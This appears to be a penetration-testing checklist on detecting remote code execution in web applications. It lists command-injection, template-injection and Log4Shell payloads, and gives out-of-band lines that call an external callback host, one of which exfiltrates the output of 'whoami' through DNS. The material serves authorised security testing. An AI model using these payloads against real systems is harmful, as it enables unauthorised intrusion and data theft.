RCE Detection
Checklist
- Pick a detection signal you can see: output, time, or out of band.
- Prefer out of band when output is not reflected.
- Fuzz injection points with a short, high signal payload list.
- Use a unique marker per request so you can attribute hits.
- Read every error and stack trace; they name the sink and the engine.
- Record the exact request that worked before you escalate.
Three signals
You confirm RCE through one of three signals.
- Output based: the command output appears in the response. Fastest, but many sinks are blind.
- Time based: the response is delayed by a sleep you control. Works when there is no output.
- Out of band (OOB): the target makes a DNS or HTTP request to your server. Works even when there is no output and no timing difference, and it also proves egress.
Always try to graduate from time based to out of band, because OOB gives you a clean yes or no and often leaks data too.
Manual detection per class
- Command injection:
;id,| id,$(id),`id`, newline. Blind:; sleep 5,& ping -c 5 127.0.0.1. OOB:; nslookup YOURID.oast.fun. - eval: language probes that produce a visible value, for example Python
str(7*7)inside the eval, or an OOB import. - SSTI:
{{7*7}},${7*7},#{7*7},<%= 7*7 %>. The one that returns49names the engine. - Expression injection:
${7*7}or%{7*7}depending on framework. - Deserialization: often blind. Use a URLDNS style probe for Java to force a DNS lookup without running commands, which proves the sink reads your object. For pickle and PHP, use an OOB callback in the chain.
- Log4Shell:
${jndi:ldap://YOURID.oast.fun/a}in each field, watch interactsh. - SSRF: point at
http://YOURID.oast.funfirst to prove the fetch, then at internal hosts. - File upload: upload, then request the file and look for code execution.
Fuzzing for injection points
Use Burp Intruder, ffuf, or a short script. Rules that keep signal high:
- One payload family per pass. Do not mix command injection and SSTI in the same run.
- Insert a unique token per request, for example
oob-<reqid>.oast.fun, so a callback maps to the exact input. - Test every input location, not just query parameters: JSON fields, headers (User-Agent, Referer, X-Forwarded-For), cookies, and multipart filenames.
- Keep a quick fuzz list for command injection:
;id
|id
||id
&&id
$(id)
`id`
%0aid
;sleep 5
$(sleep 5)
;nslookup TOKEN.oast.fun
Time based detection
When output is not reflected, delay the response.
- Linux:
; sleep 5,$(sleep 5),& ping -c 5 127.0.0.1. - Windows:
& ping -n 5 127.0.0.1,& timeout 5. - Make the delay large enough to beat jitter. Compare a 0 second and a 5 second payload. Repeat to rule out noise.
Time based is noisy on loaded targets. Treat it as a lead, then confirm with OOB.
Out of band detection with interactsh
interactsh gives you a unique domain that logs DNS and HTTP interactions.
- Start the client:
interactsh-client. It prints a domain likeabcd.oast.fun. - Put that domain in your payloads:
; nslookup abcd.oast.fun,${jndi:ldap://abcd.oast.fun/a}, SSRF tohttp://abcd.oast.fun. - A DNS hit proves your input ran enough to resolve a name. An HTTP hit proves egress on that port.
- Encode data in the subdomain to exfiltrate blind output:
; nslookup $(whoami).abcd.oast.fun. The logged subdomain contains the username.
Burp Collaborator does the same job if you have Burp Pro.
Error based detection
Errors are free intelligence.
- A stack trace names the language, framework, and often the vulnerable function and file path.
- A template error that quotes your payload confirms SSTI and names the engine.
- A deserialization error such as
ClassNotFoundExceptionconfirms the sink reads your object and lists classes, which helps you pick a gadget. - A SQL error confirms injection and the database type.
Trigger errors on purpose with malformed input, then read them carefully.
Reading stack traces
- Top frame is where it failed. Walk down to find the user facing entry point.
- Look for the sink:
Runtime.exec,ObjectInputStream.readObject,eval,system,ProcessBuilder. - Note file paths; they help with LFI, log poisoning, and
INTO OUTFILEtargets. - Note library versions; they tell you which gadget chains exist.
Nmap NSE for RCE detection
NSE scripts give quick first pass coverage on known issues.
http-vuln-cve2021-44228style scripts and the broaderhttp-vuln-*family.http-shellshockfor CGI Shellshock.- Service and version detection with
-sVso you can map versions to known RCEs.
Example: nmap -sV --script "http-vuln-*" -p 80,443,8080 TARGET.
Nuclei templates for RCE
Nuclei runs community templates for known RCEs and misconfigurations.
- Run the relevant tags:
nuclei -u https://TARGET -tags rce,injection,ssti,log4j. - Pair with interactsh automatically, since Nuclei has OOB built in and will confirm blind hits.
- Review matches by hand. A template match is a lead, not a finished finding.
Output
Every confirmed candidate now has a reliable signal and a saved request. Move to Exploitation.